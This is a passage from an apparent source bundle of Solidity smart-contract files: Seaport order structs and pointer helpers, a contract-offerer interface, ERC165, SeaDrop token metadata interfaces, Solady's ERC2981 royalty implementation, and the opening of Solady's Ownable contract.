data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n"
},
"src/interfaces/IERC1155ContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n"
},
"lib/solady/src/tokens/ERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n"
},
"lib/solady/src/auth/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n 